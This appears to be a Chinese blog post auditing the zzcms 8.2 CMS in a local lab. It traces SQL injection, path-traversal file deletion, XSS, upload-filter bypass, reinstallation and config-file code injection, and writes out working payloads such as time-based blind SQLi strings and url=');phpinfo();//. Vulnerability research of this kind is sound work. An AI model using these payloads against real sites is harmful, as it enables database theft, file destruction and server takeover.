前言

最近实习任务调整成代码审计了,其实原来也复现过一些 cms 的漏洞,但是因为在 mac 上一直不能实现管理多个版本的 php,所以也没有深入去学习代码审计。虽然校赛出的题是搭在 docker 上的,但是懒得用 docker 搭建多个版本 php 了。直到请教了知弦师傅,得到了一篇很好的文章 )
有了一个舒服的代码审计的环境,就可以正式开始学习审计了: )

环境:
zzcms 8.2 源码
apache 2.4.38 + php 7.0.33 + mariadb 10.3.14
vscode + xdebug

sql注入

相关目录:
/user:前台注册用户相关的目录。
/inc:网站所需包含的各种文件的存放目录。

/inc 这个目录里面有几个常用的文件。其中/inc/conn.php文件主要负责数据库连接的工作。

1
2
3
4
5
6
7
8
9
// /inc/conn.php
define('zzcmsroot', str_replace("\\", '/', substr(dirname(__FILE__), 0, -3)));
...
include(zzcmsroot."/inc/function.php");
include(zzcmsroot."/inc/stopsqlin.php");
...
$conn=mysqli_connect(sqlhost,sqluser,sqlpwd,sqldb,sqlport) or showmsg ("数据库链接失败");
mysqli_real_query($conn,"SET NAMES 'utf8'");
mysqli_select_db($conn,sqldb) or showmsg ("没有".sqldb."这个数据库,或是被管理员断开了链接,请稍后再试");

/inc/conn.php文件开头包含了一些其他文件,主要关注/inc/function.php/inc/stopsqlin.php这两个文件。在/inc/function.php文件里定义了很多函数。/inc/stopsqlin.php文件主要对 gpc(get、post、cookie)中的数据进行了转义和实体化处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// /inc/stopsqlin.php 
// /inc/stopsqlin.php
function zc_check($string){
if(!is_array($string)){
if(get_magic_quotes_gpc()){ // 获取当前magic_quotes_gpc的配置选项的值,防止和addslashes()重复转义 php5.4之后该配置项被移除
return htmlspecialchars(trim($string));
}else{
return addslashes(htmlspecialchars(trim($string)));
}
}
foreach($string as $k => $v) $string[$k] = zc_check($v);
return $string;
}

if($_REQUEST){ // 对request中数据做处理,即gpc中的数据
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}

第一处注入在/user/check.php件里。该文件主要通过 cookie 里的 UserName 和 PassWord 两个字段验证了用户的登录状态,UserName 是前台用户真实的账号名,PassWord 是用户的密码 md5 加密后的值。未登录则返回登录页面。

1
2
3
4
5
// /user/check.php
if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){ // cookie中要有 UserName PassWord
echo "<script>location.href='/user/login.php';</script>";
}else{
...

/user/del.php文件的开头包含了和/inc/conn.php/user/check.php文件。

1
2
include("../inc/conn.php");
include("check.php");

继续看/user/check.php文件。当验证用户登录后,会进入 else 语句,里面一共有5处 sql 语句。看一下第一处:

1
2
$username=nostr($_COOKIE["UserName"]);
$rs=query("select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='".$username."' and password='".$_COOKIE["PassWord"]."'");

函数 nostr() 定义在/inc/stopsqlin.php文件中,过滤了一些非法字符,如'/\等。
这句查询里 username 和 password 取自请求头中的 Cookie 字段,但是前面讲了/inc/stopsqlin.php文件中对 $_COOKIE 中的单引号进行了转义,所以无法闭合这句查询的单引号。
看一下第二处:

1
query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录IP

看一下 getip() 函数,定义在/inc/function.php中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// /inc/function.php line 100
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

该函数获取用户的 ip,这里 ip 可以从请求头中的 X-Forwarded-For 字段 中取到,并且没有对取出来的 ip 做任何处理,就直接拼接到第二处 sql 查询中。
我们先在/user/login.php页面中注册一个账号,账号和密码都是 admin。登录后,看一下 zzcms_user 表中的 loginip 字段的值:

01

抓包后我们添加 X-Forwarded-For 字段:

02

可见数据库中的 loginip 字段被修改了,我们试一下时间盲注。
/user/del.php中下断点:

03

/user/check.php中也下一个断点,并添加一个 $test 变量查看一下 ip 值:

04

可以看到 ip 值未经任何处理:

05

取消 vscode 监听,因为 burp 的响应时间是根据调试的时间返回的,单独 burp 发包看一下响应时间:

06

看一下/user/check.php中剩下的3个 sql 查询:

1
2
3
4
5
if (strtotime(date("Y-m-d H:i:s"))-strtotime($lastlogintime)>3600*24){
query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('".$username."','每天登录用户中心送积分','+".jf_login."','','".date('Y-m-d H:i:s')."')");
}
query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."' WHERE username='".$username."'");//更新最后登录时间

jf_login 是一个常量,定义在/inc/config.php中。而其他部分也不可控,所以这三句查询无法利用。
上面的注入发生在访问/user/del.php文件时,进入了/user/check.php发生了注入。实际上在/user/del.php文件中也存在注入。
在包含了/user/check.php文件后,/user/del.php文件接收了 post 中的三个参数:

1
2
3
4
5
6
7
8
9
10
$pagename=trim($_POST["pagename"]);
$tablename=trim($_POST["tablename"]);
$id="";
if(!empty($_POST['id'])){
for($i=0; $i<count($_POST['id']);$i++){
checkid($_POST['id'][$i]);
$id=$id.($_POST['id'][$i].',');
}
$id=substr($id,0,strlen($id)-1);//去除最后面的","
}

该文件从 post 数组中取出了 pagename、tablename、id,并对 id 调用了 checkid() 进行处理。该函数定义在/inc/function.php中。

1
2
3
4
5
6
7
8
9
// /inc/function.php line 49
function checkid($id,$classid=0,$msg=''){
if ($id<>''){
if (is_numeric($id)==false){showmsg('参数 '.$id.' 有误!相关信息不存在');}
elseif ($id>100000000){showmsg('参数超出了数字表示范围!系统不与处理。');}//因为clng最大长度为9位
if ($classid==0){//查大小类ID时这里设为1
if ($id<1){showmsg('参数有误!相关信息不存在。\r\r提示:'.$msg);}//翻页中有用,这个提示msg在其它地方有用
}
}

这里对 id 进行检查,我们无法控制 id 进行注入。
继续往下看/user/del.php,是一个 switch 的判断:

1
2
3
4
5
6
7
8
switch ($tablename) {
case "zzcms_main";
...
break;
case "zzcms_licence";
...
break;
}

该 switch 判断不存在 sql 注入的点。继续往下看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if ($tablename=='zzcms_guestbook'){
if (strpos($id,",")>0{
$sql="select id,saver from ".$tablename." where id in (".$id.")";
}else{
$sql="select id,saver from ".$tablename." where id ='$id'";
}
...
}elseif ($tablename=='zzcms_dlly'){
if (strpos($id,",")>0{
$sql="select id,saver from zzcms_dl where id in (".$id.")";
}else{
$sql="select id,saver from zzcms_dl where id ='$id'";
}
...
}else{
if (strpos($id,",")>0{
$sql="select id,editor from ".$tablename." where id in (".$id.")";
}else{
$sql="select id,editor from ".$tablename." where id ='$id'";
}
$rs=query($sql);
$row=num_rows($rs);
...
}

这里 tablename 我们可控,当其值不等于 zzcms_guestbook 和 zzcms_dlly 时,便进入到 else 分支中,在该分支中,未对 tablename 进行处理,便拼接进了 sql 查询中。
但是因为 tablename 是从 post 数组中取出来的,而前面说到在/inc/stopsqlin.php中对数据进行了过滤。过滤步骤如下:

  1. 先调用 trim() 去除数据首尾处的空白字符。
  2. 再调用 htmlspecialchars() 将&"'><抓换为 html 实体。
  3. 最后调用 addslashes() 用反斜线\'"\null进行转义。

而在拼接 tablename 时不用闭合引号,这里可以使用时间盲注。

1
2
3
4
payload:
zzcms_dl where id = 1 and if((ascii(substr(database(),1,1)) = 122), sleep(6), 1); #
zzcms_dl where id = 1 and if(ascii((substr((select database()), 1, 1)) = 122), benchmark(1000000,sha1(1)), 1); #
zzcms_dl where id = 1 and case when (ascii(substr((select database()), 1, 1)) = 122) then sleep(6) else 1 end; #

接下来复现一下,记得 post 中要传入 id 的值,不然在/user/del.php对 id 的判断中会执行 exit()。id 如果传入的不是数组,则需要以数字 1-9 开头,如果传入的是数组,则每个元素的范围是 1<= id <=100000000。
因为查询语句是用 and 连接,所以如果前面的查询中没有返回信息,则 and 起到短路作用,之后的 payload 就不会执行了。
为了测试我们直接向 zzcms_dl 表中插入一行数据:

07

vscode 下断点跟一下:

08

可以看到数据拼接进 sql 查询语句了。直接 burp 看一下响应:

09

可以看到 payload 生效了。
这里其实不用注册前台用户,也可以实现注入,再看一次/user/del.php开头包含的/user/check.php文件,该文件主要对用户的身份进行了验证。

1
2
3
4
5
if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){
echo "<script>location.href='/user/login.php';</script>";
}else{
...
}

可以看到如果 cookie 中没有存储登录信息,会通过改变 location.href 的值跳转到登录页面,但是因为这是 js 的脚本,且没有执行 exit() 或 die() 等函数,所以/user/del.php之后的脚本会继续执行,任然会产生注入。
但是上面的 payload 是有条件的,即zzcms_dl表中要有数据,换成其他表也一样。所以我们可以通过 union 注入实现取消的该条件的限制。可以看到该注入点原本是要查询 id 和 editor 这两个字段的值,所以 union 中要有两个占位符 1 和 2。

1
2
3
payload:
zzcms_dl where id = 2 union select 1,2 and if((ascii(substr(database(),1,1)) = 122), sleep(6), 1); #
zzcms_dl where id = 2 union select 1,if((ascii(substr(database(),1,1)) = 122), sleep(6), 1); #

10

该 payload 同样可以实现 sql 注入。

文件删除

相关目录:
/user:前台注册用户相关的目录。
/inc:网站所需包含的各种文件的存放目录。
/admin:默认后台管理目录。

继续用前面注册的用户,账号密码都是 admin。
用户登录后,看一下/user/adv.php页面,用户可以在该页面添加或修改广告信息。

11

该页面对应的文件前两行:

1
2
include("../inc/conn.php");
include("check.php");

前面讲了/user/check.php是验证登录信息的文件。/inc/conn.php是连接数据库的文件,该文件中包含了另一个/inc/stopsqlin.php文件,对 get、post、cookie 中的数据进行了过滤。 继续看/user/adv.php`其他代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (isset($_REQUEST["img"])){
$img=$_REQUEST["img"];
}else{
$img="";
}
if (isset($_REQUEST["oldimg"])){
$oldimg=$_REQUEST["oldimg"];
}else{
$oldimg="";
}
...
if ($action=="modify"){
...
if ($oldimg<>$img){
$f="../".$oldimg;
if (file_exists($f)){
unlink($f);
}
}
}
if ($action=="add"){
if ($oldimg<>$img && $oldimg!=''){
$f="../".$oldimg;
if (file_exists($f)){
unlink($f);
}
}
}

这里看到 img 和 oldimg 的值取自 request 数组,抓包可以看到实际来自 post 数组,而前面/inc/stopsqlin.php文件中对 post 的处理中并没有过滤./字符,导致可以跨目录删除文件。
action 的值提交时来自 get 数组,当其值为 modify 或者 add 时,只要 img 和 oldimg 值不相等,都会导致该漏洞。因为之前我添加过广告了,这里就用 modify 的条件语句复现一下。
先随便在网站根目录找一个目录,这里用 ask 目录,在该目录下创建一个 test 文件。

12

然后抓包改一下 img 和 oldimg:

13

再去看一下该目录,发现 test 文件已经被删除了:

14

该操作其实不用前台用户登录,原因和前面讲的一样。
除此之外,我们可以使用../跳出网站根目录删除其他文件,只要 www-data 用户对该文件有相应权限都可以造成文件删除漏洞。
我们试一下 action = add,不带 cookie,去删除网站目录之外的文件。我的网站根目录是 llfam,我在同目录下创建一个 ll.php 文件,修改完请求后再次查看该文件。

15

可以看到我去掉了 cookie。再去看一下 ll.php 文件所在目录:

16

成功将 ll.php 删除了。
/user/licence_save.php中,也存在相同的问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// /user/licence_save.php line 19
$img=trim($_POST["img"]); // post中取出img
if ($_GET["action"]=="add"){
...
}elseif ($_GET["action"]=="modify"){
$oldimg=trim($_POST["oldimg"]); // post中取出oldimg
$id=$_POST["id"];
if ($id=="" || is_numeric($id)==false){ // id必须是数字字符串
...
}else{
...
if ($oldimg<>$img && $oldimg<>"/image/nopic.gif"){
$f="../".$oldimg;
if (file_exists($f)){
unlink($f);
}
$fs="../".str_replace(".","_small.",$oldimg)."";
if (file_exists($fs)){
unlink($fs);
}

用 vscode 全局搜索一下 oldimg:

17

发现 /user 目录下的 manage.php、ppsave.php、zssave.php文件都存在一样的问题。实际上在 /admin 目录下的一些文件中也存在类似问题。
随便看一个/admin/ad_user_modify.php

18

找到 oldimg 的位置:

1
2
3
4
5
6
if ($oldimg<>$img && $oldimg<>"/image/nopic.gif" ){
$f="../".$oldimg;
if (file_exists($f)){
unlink($f);
}
}

访问一下该页面,可以看到是一个修改广告信息的页面:

19

找到相应源码:

1
2
// /admin/ad_user_modify.php line 52
<td align="right" class="border"><strong>图片地址</strong> <input name="oldimg" type="hidden" id="oldimg" value="<?php echo $row["img"]?>">

可以看到该表单提交上来的 oldimg 的 type 属性是 hidden,我们只需要抓包后修改即可。
再看一下/admin/ad_user_modify.php中的源码:

1
2
3
4
5
6
7
8
9
$action = isset($_POST['action'])?$_POST['action']:'';
if ($action=="modify"){
...
if ($oldimg<>$img && $oldimg<>"/image/nopic.gif" ){
$f="../".$oldimg;
if (file_exists($f)){
unlink($f);
}
}

因为该文件在 /admin 目录,所以需要登录后台管理的权限。
抓包后将 post 中的数据改为 oldimg=filename&img=xxx&action=modify即可。
在 /user 目录下的文件删除漏洞其实不需要前台用户登录,因为其验证登录状态的/user/check.php文件并没有终止脚本的执行,而 /admin 目录下的验证用户身份的文件/admin/admin.php中如果身份出错就会调用 showmsg()。
该方法定义在/inc/function.php中,其中调用了 exit:

1
2
3
4
5
// /inc/function.php line 22
function showmsg($msg,$zc_url = 'back'){
...
exit;
}

xss

相关目录:
/inc:网站所需包含的各种文件的存放目录
/install:安装程序目录。
/zx:资讯。

通过上面的审计,可以发现大部分文件都会在开头包含/inc/conn.php文件去连接数据库,而该文件中包含的/inc/stopsqlin.php文件会对 gpc 中的数据进行过滤。
/inc/top.php文件中,并没有包含/inc/conn.php文件,所以传入其中的数据并没有进行过滤。看一下/inc/top.php开头部分的代码:

1
2
3
4
5
<?php
//echo $_SERVER['REQUEST_URI'];
if (@$_POST["action"]=="search"){
echo "<script>location.href='".@$_POST["lb"]."/search.php?keyword=".@$_POST["keyword"]."'</script>";
}

可以看到这里将部分跳转网页的 js 代码和 post 中的数据进行了拼接,而上面说到,因为该文件中没有包含对 gpc 数据进行的处理的/inc/stopsqlin.php文件,导致该处代码存在 xss 漏洞。

20

uploadimg_form.php中也存在着同样的漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (!isset($_COOKIE["UserName"]) && !isset($_SESSION["admin"])){
session_write_close();
echo "No Login!";
exit;
}
?>
...
<form action="uploadimg.php" method="post" enctype="multipart/form-data" onSubmit="return mysub()" style="padding:10px" target="doaction">
<div id="esave" style="position:absolute; top:0px; left:0px; z-index:10; visibility:hidden; width: 100%; height: 77px; background-color: #FFFFFF; layer-background-color: #FFFFFF; border: 1px none #000000;">
<div align="center"><br /><img src="image/loading.gif" width="24" height="24" />正在上传中...请稍候!</div>
</div>
<input type="file" name="g_fu_image[]" /><input type="submit" name="Submit" value="提交" />
<input name="noshuiyin" type="hidden" id="noshuiyin" value="<?php echo @$_GET['noshuiyin']?>" />
<input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET['imgid']?>" />
</form>

该页面是一个上传文件的页面:

21

可以看到上面的表单代码中,有两处直接将 get 数组中的字段拼接进 html 代码中:

1
2
<input name="noshuiyin" type="hidden" id="noshuiyin" value="<?php echo @$_GET['noshuiyin']?>" />
<input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET['imgid']?>" />

并且该文件也没有对 get 数组中的数据进行过滤,导致该处存在 xss 漏洞,不过该文件处开头部分需要验证用户登录状态,所以需要先注册一个前台用户。

22

继续看下一处 xss。看一下/install/index.php文件,开头部分存在 extract() 变量覆盖注册:

1
2
3
4
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
...
$step = isset($_POST['step']) ? $_POST['step'] : 1;

可以看到/install/index.php文件中,并没有对/install/install.lock文件的存在进行验证。往下看,是一个 switch 分支,根据 step 变量的值显示每一步的安装界面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
switch($step) {
case '1'://协议
include 'step_'.$step.'.php';
break;
case '2':
...
include 'step_'.$step.'.php';
case '3':
...
include 'step_'.$step.'.php';
case '4':
...
include 'step_'.$step.'.php';
case '5':
...
include 'step_'.$step.'.php';
case '6':
include 'step_'.$step.'.php';
break;
}

可以看到每一个分支中,都会包含相应的文件,而只有在 step = 1 的分支中对/install/install.lock文件进行了检测。

1
2
3
4
// /install/step_1.php
if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
}

其他包含的文件中,并没有对/install/install.lock文件进行检测,在 step = 6 的分支中,包含了/install/step_6.php文件,该文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(@$step==6){
fopen("install.lock","w");
?>
<div class="body">
恭喜!您已经成功安装zzcms网站管理系统<br/><br/>
<fieldset>
<legend>&nbsp;网站管理信息&nbsp;</legend>
网站后台地址:<a href="/admin">/admin</a><br/>
管理员户名:<?php echo $admin?><br/>
管理员密码: <?php echo $adminpwdtrue?><br/>
</fieldset>
<br/>
非常感谢选择zzcms产品<br/>
更多产品相关信息,敬请关注 <a href="http://www.zzcms.net" target="_blank">www.zzcms.net</a>
<input type="button" value="登录后台" onclick="window.location='/admin';"/>
<input type="button" value="网站首页" onclick="window.location='../index.php';"/>
</div>

可以看到部分 php 代码输出到了 html 代码中,而在/install/index.php文件中并没有对 extract() 注册的变量进行很好地过滤。

23

还有一个 xss 是存储型 xss,存在问题的文件是/zx/show.php。 该文件在开头会在 zzcms_zx 表中查询数据,如果没有数据就会调用 showmsg() 函数终止代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (isset($_GET["id"])){
$zxid=$_GET["id"];
checkid($zxid);
}else{
$zxid=0;
}
$sql="select * from zzcms_zx where id='$zxid'";
$rs=query($sql);
$row=fetch_array($rs);
if (!$row){
showmsg('不存在相关信息!');
}else{
// 初始化变量

/user/zxsave.php文件中,会对 zzcms_zx 表进行操作。先注册一个前台用户,并用网站管理员身份登录后台,在后台审核注册的前台用户。

24

看一下/user/zxsave.php中对 zzcms_zx 表的相应操作:

1
2
3
4
5
6
if ($_POST["action"]=="add"){
$isok=query("Insert into zzcms_zx(bigclassid,bigclassname,smallclassid,smallclassname,title,link,laiyuan,keywords,description,groupid,jifen,content,img,editor,sendtime) values('$bigclassid','$bigclassname','$smallclassid','$smallclassname','$title','$link','$laiyuan','$keywords','$description','$groupid','$jifen','$content','$img','$editor','".date('Y-m-d H:i:s')."')");
$id=insert_id();
}elseif ($_POST["action"]=="modify"){
$isok=query("update zzcms_zx set bigclassid='$bigclassid',bigclassname='$bigclassname',smallclassid='$smallclassid',smallclassname='$smallclassname',title='$title',link='$link',laiyuan='$laiyuan',keywords='$keywords',description='$description',groupid='$groupid',jifen='$jifen',content='$content',img='$img',editor='$editor',sendtime='".date('Y-m-d H:i:s')."',passed=0 where id='$id'");
}

当 action 为 add 或者 modify 时,都会对 zzcms_zx 表进行相应操作,而这两个表单分别在/user/zxadd.php/user/zxmodify.php文件中。
看一下/user/zxsave.php文件如何对提交上来的数据进行处理。在该文件开头包含了/inc/conn.php文件,其中又包含了/inc/stopsqlin.php文件,和上面对 gpc 中数据的过滤方式一样。
我们先在/user/zxadd.php页面中往 zzcms_zx 表中插入数据。

25

可以看到相应字符被转义和实体化了:

26

/zx/show.php页面中,会将我们存入的数据进行展示,这里存入的第一条数据的 id 字段是1,所以我们访问/zx/show.php?id=1

27

再看一下/zx/show.php中对 zzcms_zx 数据的处理:

1
2
// line 40
$content=stripfxg($row["content"],true);

该处取出的 content 内容调用了 stripfxg() 方法,跟进看一下该方法,定义在/inc/function.php

1
2
3
4
5
6
7
8
9
10
function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜杠 
$string=stripslashes($string);//去反斜杠,不开get_magic_quotes_gpc 的情况下,在stopsqlin中都加上了,这里要去了
if ($htmlspecialchars_decode==true){
$string=htmlspecialchars_decode($string);//转html实体符号
}
if ($nl2br==true){
$string=nl2br($string);
}
return $string;
}

对前面转义和实体化的数据进行了还原。
之后的/zx/show.php中没有对 content 进行其他安全操作,直到结尾调用模板文件,并将 content 写入相应位置。所以这里存在 xss 漏洞。
我们先添加一条资讯:

28

访问该资讯的展示页:

29

即可触发 xss 漏洞。

文件上传

/uploadimg_form.php页面中提供了文件上传功能:

30

该页面的文件上传的表单提交到/uploadimg.php中:

1
2
3
4
5
// /uploadimg_form.php line 61
<form action="uploadimg.php" method="post" enctype="multipart/form-data" onSubmit="return mysub()" style="padding:10px" target="doaction">
...
<input type="file" name="g_fu_image[]" /><input type="submit" name="Submit" value="提交" />
...

看一下/uploadimg.php是如何处理的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// line 9
//上传图片的类--------------------------------------------------------------
class upload{
...
function upfile() {
//是否存在文件
if (!is_uploaded_file(@$this->fileName[tmp_name])){
echo "<script>alert('请点击“浏览”,先选择您要上传的文件!\\n\\n支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>"; exit;
}
//检查文件大小
if ($this->max_file_size*1024 < $this->fileName["size"]){
echo "<script>alert('文件大小超过了限制!最大只能上传 ".$this->max_file_size." K的文件');parent.window.close();</script>";exit;
}
//检查文件类型//这种通过在文件头加GIF89A,可骗过
if (!in_array($this->fileName["type"], $this->uptypes)) {
echo "<script>alert('文件类型错误,支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>";exit;
}
//检查文件后缀
$hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));//获取.后面的后缀,如可获取到.php.gif
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";exit;
}
}
...
}

该文件中定义了一个处理上传图片的类 upload,其中的 upfile() 方法对文件进行了检测,先判断文件是否存在,再判断文件大小,接着检查文件类型和文件后缀。
在检查文件类型中,可以用 GIF89a 的头部绕过检查,在检查文件后缀中,黑名单少过滤了 phtml,在 apache 中,会将 phtml 文件按照 php 文件来解析。
继续看uploadimg.php,可以看到下面实例化了 upload 类,并调用了 upfile() 方法对上传的文件进行检测并上传该文件到服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// line 148
$filename = array();
for ($i = 0; $i < count($_FILES['g_fu_image']['name']); $i++){
$filename[$i]['name']=$_FILES['g_fu_image']['name'][$i];
$filename[$i]['type']=$_FILES['g_fu_image']['type'][$i];
$filename[$i]['tmp_name']=$_FILES['g_fu_image']['tmp_name'][$i];
$filename[$i]['error']=$_FILES['g_fu_image']['error'][$i];
$filename[$i]['size']=$_FILES['g_fu_image']['size'][$i];
}
for ($i = 0; $i < count($filename); $i++){
$filetype=strtolower(strrchr($filename[$i]['name'],"."));//图片的类型,统一转为小写
$up = new upload();
$up->fileName = $filename[$i];
$up->fdir='uploadfiles/'.date("Y-m").'/'; //上传的路径
$up->datu=date("YmdHis").rand(100,999).$filetype;//大图的命名
$up->upfile();

回到/uploadimg.form.php页面,上传文件并抓包:

31

网站重装

相关目录:
/install:安装程序目录。

看一下/install/index.php文件,该文件中并没有检测/install/install.lock文件是否存在。
/instal/index.php中有关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$step = isset($_POST['step']) ? $_POST['step'] : 1;
...
switch($step) {
case '1'://协议
include 'step_'.$step.'.php';
break;
case '2':
...
include 'step_'.$step.'.php';
case '3':
...
include 'step_'.$step.'.php';
case '4':
...
include 'step_'.$step.'.php';
case '5':
...
include 'step_'.$step.'.php';
case '6':
include 'step_'.$step.'.php';
break;
}

上面审计 xss 的时候看过了,只有/install/step_1.php文件在开头检查了/install/install.lock。 而在/install/step_2.php/install/step_3.php/install/step_4.php/install/step_5.php/install/step_6.php文件中都没有对/install/install.lock文件进行检查。
我们只需要 post 传入 id,并设置其值为 2、3、4、5、6 之一即可。

32

该漏洞利用不需要带前台用户的 cookie,可以看到我们进入了安装向导的界面。
同理 step 传入 3 也一样可以触发该漏洞:

33

该重装的漏洞的利用需要管理未删除/install文件夹及里面相应的文件。

getshell

相关目录:
/install:安装程序目录。

还是看/install/index.php文件。开头用 extract() 注册变量,且该文件并没有对 post、get 数组中的数据进行过滤。

1
2
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

下面的 switch 分支主要看 step = 5 的分支:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
switch($step) {
case '1'://协议
include 'step_'.$step.'.php';
break;
case '2':
...
case '3':
...
case '4':
...
case '5'://安装进度
function dexit($msg) {
echo '<script>alert("'.$msg.'");window.history.back();</script>';
exit;
}

$conn=connect($db_host,$db_user,$db_pass,'',$db_port);
if(!$conn) dexit('无法连接到数据库服务器,请检查配置');
$db_name or dexit('请填写数据库名');
if(!select_db($db_name)) {
if(!query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
}

//保存配置文件
$fp="../inc/config.php";
$f = fopen($fp,'r');
$str = fread($f,filesize($fp));
fclose($f);
$str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
$str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ;
$str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
$str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
$str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
$str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
$f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
fputs($f,$str);//把替换后的内容写入文件
fclose($f);
//创建数据
include 'step_'.$step.'.php';
break;
case '6':
include 'step_'.$step.'.php';
break;
}

该分支中先定义了一个dexit()函数,之后进行了数据库连接:

1
2
3
4
5
6
$conn=connect($db_host,$db_user,$db_pass,'',$db_port);
if(!$conn) dexit('无法连接到数据库服务器,请检查配置');
$db_name or dexit('请填写数据库名');
if(!select_db($db_name)) {
if(!query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
}

可以看到如果连接失败,就会调用 dexit() 函数终止脚本的执行,这样下面的代码就不会执行。为了让数据库正确连接,则 db_host、db_user、db_pass、db_port、db_name 这4个变量我们就不可控。
接下来是对/inc/config.php文件进行操作,该文件里面定义了安装完 cms 后需要用到的各种常量。
/install/index.php中先读取了/inc/config.php的内容,并根据我们安装时设置的初始化信息对该内容进行修改,之后再存回/inc/config.php中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//保存配置文件
$fp="../inc/config.php";
$f = fopen($fp,'r');
$str = fread($f,filesize($fp));
fclose($f);
$str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
$str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ;
$str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
$str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
$str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
$str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
$f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
fputs($f,$str);//把替换后的内容写入文件
fclose($f);

因为数据库连接的原因,前几个变量的值我们不可控,而 url 变量我们是可控,如下:

1
2
$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
$str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;

str 的内容就是/inc/config.php中的内容,看一下相应部分:

1
2
// /inc/config.php line 9
define('siteurl','http://cp.com') ;//网站地址

这里我们只要闭合单引号,并注释后面部分即可。

1
2
payload:
url=');phpinfo();//

经过替换后/inc/config.php的内容被更改为:

1
2
# 原来:define('siteurl','http://cp.com') ;//网站地址
define('siteurl','');phpinfo();//') ;//网站地址

利用该漏洞后,我们只要访问/inc/config.php文件,就可以看 phpinfo(); 的内容。
payload :

34

可以看到我们已经修改了/inc/config.php中相应部分的内容:

35

我们再去访问/inc/config.php

36

在实际的场景中,基本上没有该漏洞的利用条件。第一个条件是要知道数据库的账号和密码等信息,这可以结合前面的 sql 注入去实现。第二个同网站重装漏洞一样,在网站搭建完成后,管理员没有删除/install文件夹及里面相应的文件。

ref:
https://mochazz.github.io/2018/02/12/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8Bzzcms82/
https://www.freebuf.com/vuls/161888.html
https://www.freebuf.com/column/165934.html
